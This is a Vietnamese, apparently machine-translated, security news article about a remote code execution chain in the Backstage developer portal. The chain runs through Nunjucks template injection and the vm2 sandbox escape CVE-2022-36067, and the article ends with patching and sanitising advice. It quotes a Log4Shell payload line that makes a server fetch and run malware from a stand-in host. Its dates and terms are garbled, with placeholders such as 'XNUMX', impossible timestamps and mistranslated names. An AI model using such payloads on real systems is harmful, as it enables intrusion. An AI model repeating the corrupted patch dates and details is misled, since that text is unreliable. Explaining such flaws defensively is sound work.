Lỗ hổng thực thi mã giống như Log4Shell trong công cụ phát triển Backstage phổ biến

Các nhà nghiên cứu tại công ty bảo mật mã hóa đám mây Oxeye đã viết ra một lỗi nghiêm trọng mà họ mới phát hiện ra trong bộ công cụ phát triển đám mây phổ biến Backstage.

Của họ báo cáo bao gồm giải thích về cách thức hoạt động của lỗi, cộng với mã bằng chứng khái niệm (PoC) cho biết cách khai thác lỗi đó.

Backstage là cái được gọi là cổng thông tin dành cho nhà phát triển trên đám mây – một loại phụ trợ logic nghiệp vụ giúp dễ dàng xây dựng API dựa trên web (giao diện lập trình ứng dụng) để cho phép các lập trình viên bên trong và bên ngoài doanh nghiệp của bạn tương tác với các dịch vụ trực tuyến của bạn.

Theo lời của chính dự án, ban đầu được tạo tại Spotify nhưng bây giờ nguồn mở trên GutHub:

Backstage là một nền tảng mở để xây dựng cổng thông tin dành cho nhà phát triển. Được cung cấp bởi một danh mục phần mềm tập trung, Backstage khôi phục trật tự cho các vi dịch vụ và cơ sở hạ tầng của bạn, đồng thời cho phép các nhóm sản phẩm của bạn gửi mã chất lượng cao một cách nhanh chóng — mà không ảnh hưởng đến quyền tự chủ.

Backstage hợp nhất tất cả các công cụ, dịch vụ và tài liệu cơ sở hạ tầng của bạn để tạo ra một môi trường phát triển hợp lý từ đầu đến cuối.

Không, chúng tôi cũng không thực sự biết điều đó có nghĩa là gì, nhưng chúng tôi biết rằng bộ công cụ này được viết bằng JavaScript, chạy bằng hệ thống JavaScript phía máy chủ node.jsvà rút ra một mạng lưới các phụ thuộc chuỗi cung ứng từ hệ sinh thái NPM.

NPM là viết tắt của Trình quản lý gói nút, một bộ công cụ tự động để đảm bảo rằng mã JavaScript phía sau của bạn có thể dễ dàng sử dụng nhiều loại thư viện nguồn mở cung cấp các công cụ trợ giúp viết sẵn, phổ biến cho mọi thứ, từ mật mã và quản lý cơ sở dữ liệu đến ghi nhật ký và kiểm soát phiên bản.

Thực thi mã từ xa

Thật không may, lỗi được tiết lộ ngày hôm nay, nếu chưa được vá, có thể cung cấp cho những người bên ngoài không được xác thực (một cách lỏng lẻo, bất kỳ ai có thể tạo kết nối API với máy chủ của bạn) một cách để kích hoạt thực thi mã từ xa (RCE) bên trong máy chủ logic nghiệp vụ trên mạng của bạn.

Tuy nhiên, may mắn thay, nếu chúng ta diễn giải chính xác phần viết của Oxeye, cuộc tấn công mà họ mô tả cho Backstage RCE của họ phụ thuộc vào một chuỗi các lỗi mã hóa mà cuối cùng phụ thuộc vào một lỗi cụ thể, được chỉ định. CVE-2022-36067 trong một thành phần chuỗi cung ứng mà Backstage dựa vào được gọi là vm2.

Trong trường hợp bạn đang thắc mắc, vm2 là mô-đun NPM có mục đích chung triển khai “hộp cát máy ảo” nhằm mục đích làm cho JavaScript tiềm ẩn rủi ro an toàn hơn một chút để chạy trên máy chủ của bạn.

Lỗi CVE-2022-36067 trong vm2 là báo cáo trở lại vào tháng 2022 năm XNUMX bởi chính Oxeye (người đã đặt cho nó cái tên thân thiện với PR là “Sandbreak”, vì nó đã thoát ra khỏi hộp cát), và vá kịp thời bởi nhóm vm2 gần ba tháng trước.

Vì vậy, theo những gì chúng tôi thấy, nếu bạn là người dùng Backstage, bạn sẽ muốn đảm bảo rằng bạn đã vá tất cả các thành phần có nguy cơ trong thiết lập Backstage của mình…

…nhưng nếu bạn đã vá thành phần vm2 dễ bị tấn công bởi Sandbreak từ nhiều tháng trước, thì có vẻ như bạn không trực tiếp bị tấn công bởi cách khai thác được mô tả trong tiết lộ mới nhất của Oxeye.

Ngoài ra, nếu các máy chủ Backstage của bạn được định cấu hình theo nguyên tắc an ninh mạng tốt sẽ đề xuất, với yêu cầu xác thực ở cả biên mạng và bên trong mạng, thì bạn sẽ không gặp rủi ro trước các cuộc thăm dò ngẫu nhiên “chỉ dành cho mục đích nghiên cứu” từ các cá nhân “hữu ích” được xác định để cho thấy rằng họ quan tâm đến “nghiên cứu” về mối đe dọa trực tuyến.

Một cuộc tấn công “phô mai Emmenthal”

Nói một cách đơn giản, các sự cố bảo mật mới được tiết lộ là tác dụng phụ của một loạt các sự cố bảo mật, chẳng hạn như các lỗ trên các lát pho mát Emmenthal có thể được thấm theo trình tự nếu kẻ tấn công có thể xếp ít nhất một lỗ trên mỗi lát.

Theo chúng tôi hiểu, Backstage bao gồm một thành phần có tên là Scaffolder, đúng như tên gọi, giúp bạn quản lý các phần bổ trợ khác nhau (được gọi là phần bổ trợ) mà cộng đồng nhà phát triển của bạn có thể muốn hoặc cần.

Ngược lại, Scaffolder sử dụng hệ thống ghi nhật ký tin nhắn từ Mozilla được gọi là Nunjucks, bao gồm những gì được gọi là khuôn mẫu chuỗi in node.js vòng tròn, như nội suy chuỗi trong thế giới Java, và như thay thế chuỗi cho các quản trị viên hệ thống sử dụng shell lệnh như Bash.

Nếu phép nội suy chuỗi đổ chuông, thì có lẽ là do nó nằm ở trung tâm của Nhật ký4Shell lỗ hổng trở lại vào tháng 2021 năm XNUMX và của Follina lỗi vào giữa năm 2022.

Đó là nơi bạn có thể viết lại nội dung của thông báo ghi nhật ký dựa trên “các ký tự mã hóa” đặc biệt trong một mẫu chuỗi, sao cho một chuỗi chẳng hạn như $USER có thể được thay thế bằng tên tài khoản đang được máy chủ sử dụng hoặc ${PID} có thể truy xuất ID quy trình hiện tại.

Trong trường hợp cực đoan của Log4Shell, câu thần chú gây tò mò ${jndi:ldap://example.com:8888/malware} có thể trực tiếp lừa máy chủ tải xuống một chương trình có tên malware từ example.com và âm thầm chạy nó trong nền.

Nói cách khác, bạn cần hoàn toàn chắc chắn rằng dữ liệu đến từ một nguồn không đáng tin cậy, chẳng hạn như người dùng bên ngoài, không bao giờ được chuyển một cách mù quáng vào chức năng tạo khuôn mẫu chuỗi hoặc nội suy chuỗi sẽ được sử dụng như chính văn bản mẫu.

Ví dụ: nếu một người dùng từ xa cố đánh lừa máy chủ của bạn bằng cách đặt tên người dùng của họ là ${{RISKY}} (giả sử thư viện khuôn mẫu sử dụng ${{...}} làm điểm đánh dấu đặc biệt của nó), bạn cần đảm bảo rằng mã đăng nhập của bạn sẽ ghi lại chính xác văn bản trông có vẻ nghịch ngợm đó theo đúng nghĩa đen khi nó được nhận…

…thay vì cho phép văn bản được ghi để kiểm soát chính chức năng ghi nhật ký!

Theo lời của một bài đồng dao cũ, bạn cần đảm bảo rằng cuối cùng bạn sẽ không hát, “Có một lỗ hổng trong tôi ${{BUCKET}}, Liza thân mến, Liza thân mến, có một lỗ hổng trong tôi ${{BUCKET}}, Liza thân mến. Một lỗ!"

Bọc trong chăn an toàn

Công bằng mà nói, chức năng tạo khuôn mẫu/nội suy có lẽ quá mạnh mẽ của Nunjucks được bao bọc bởi Backstage bên trong một thành phần chuỗi cung ứng khác, cụ thể là hệ thống sandboxing vm2 đã nói ở trên, được cho là hạn chế nguy cơ mà người dùng ác ý có thể gây ra với booby -bẫy dữ liệu đầu vào.

Thật không may, các nhà nghiên cứu của Oxeye đã có thể ghép nối các đường dẫn kích hoạt mã tạo khuôn mẫu chuỗi mới được phát hiện của họ trong Backstage + Scaffolder + Nunjucks với lỗ hổng CVE-2022-36067 cũ hơn trong trình bao bọc bảo mật vm2 để đạt được khả năng thực thi mã từ xa trên máy chủ Backstage .

Phải làm gì?

Nếu bạn là người dùng Backstage:

• Đảm bảo bạn có các phiên bản mới nhất của Backstage và các phần phụ thuộc của nó, bao gồm các plugin-scaffolder-backend thành phần. Theo Oxeye, các lỗi liên quan trong mã Backstage đã được vá trước ngày 01 tháng 2022 năm 2022, do đó, bất kỳ bản phát hành điểm chính thức nào sau dữ liệu đó đều phải bao gồm các bản sửa lỗi. Tại thời điểm viết [11-1-16T00:XNUMXZ], bao gồm Hậu trường 1.6.0, 1.7.0 và 1.8.0, phát hành lần lượt vào ngày 2022-09-21, ngày 2022-10-18 và ngày 2022-11-15.
• Kiểm tra xem cài đặt Backstage của bạn đã được định cấu hình xác thực như bạn mong đợi chưa. Oxeye tuyên bố rằng xác thực bị tắt theo mặc định và sau khi làm theo hướng dẫn hậu trường, các máy chủ phụ trợ (dù sao cũng có thể không được hiển thị bên ngoài) vẫn cho phép truy cập không được xác thực. Đó có thể là điều bạn muốn, nhưng chúng tôi khuyên bạn nên sử dụng sự cố này làm lý do để kiểm tra xem thiết lập của bạn có phù hợp với ý định của bạn không.
• Kiểm tra phần nào của cơ sở hạ tầng Hậu trường của bạn có thể truy cập được từ internet. Một lần nữa, hãy sử dụng sự cố này làm lý do để quét mạng của chính bạn từ bên ngoài nếu gần đây bạn chưa thực hiện việc này.

Nếu bạn là người dùng node.js/NPM:

• Đảm bảo bạn có phiên bản mới nhất của thành phần hộp cát vm2. Bạn có thể đã cài đặt phần mềm này dưới dạng phần phụ thuộc của phần mềm khác mà bạn sử dụng, ngay cả khi bạn không có Backstage. Lỗ hổng CVE-2022-36067 đã được vá vào ngày 2022-08-28, vì vậy bạn muốn phiên bản vm2 3.9.11 hoặc sau đó.

Nếu bạn là một lập trình viên:

• Hãy phòng thủ hết mức có thể khi gọi các chức năng ghi nhật ký mạnh mẽ. Nếu bạn sử dụng dịch vụ ghi nhật ký (bao gồm Nunjucks hoặc Log4J) bao gồm các tính năng tạo khuôn mẫu/nội suy mạnh mẽ, hãy tắt mọi tính năng bạn không cần để chúng không bị khai thác nhầm. Đảm bảo rằng bản thân đầu vào không đáng tin cậy không bao giờ được sử dụng làm mẫu, do đó ngăn chặn những kẻ tấn công thực hiện các chuỗi đầu vào nguy hiểm trực tiếp của chính chúng.
• Bất kể có bất kỳ biện pháp phòng ngừa nào khác, hãy vệ sinh đầu vào và đầu ra ghi nhật ký của bạn. Hãy nhớ rằng người khác sẽ cần mở tệp nhật ký của bạn trong tương lai. Không cho phép bất kỳ bẫy bẫy vô ý nào được ghi vào tệp nhật ký của bạn, nơi chúng có thể gây rắc rối về sau, chẳng hạn như các đoạn HTML có thẻ script còn sót lại. (Ai đó có thể mở nhầm tệp trong trình duyệt.)

Ngay cả khi bạn nhận thông tin đầu vào từ một nguồn đáng tin cậy, hiếm khi có bất kỳ lý do nào để không đưa thông tin đó qua các bước kiểm tra vệ sinh của riêng bạn trước khi sử dụng.

(Đôi khi bạn có thể biện minh cho một ngoại lệ, ví dụ như vì lý do hiệu suất, nhưng đó phải là ngoại lệ chứ không phải quy tắc.)

Đầu tiên, việc kiểm tra lại giúp bạn phát hiện ra các lỗi mà các lập trình viên trước đây có thể đã mắc phải một cách thiện chí; thứ hai, nó giúp hạn chế sự lan truyền của dữ liệu xấu hoặc bị bẫy nếu một số phần khác trong hệ sinh thái của bạn bị xâm phạm.

Vấn đề về những lát phô mai Emmenthal mà chúng tôi đã đề cập trước đó là mặc dù chúng có thể thấm nếu ít nhất một lỗ xếp hàng trên mỗi tờ…

…chúng không thấm nước nếu có ít nhất một tấm có các lỗ không thẳng hàng với nhau!

---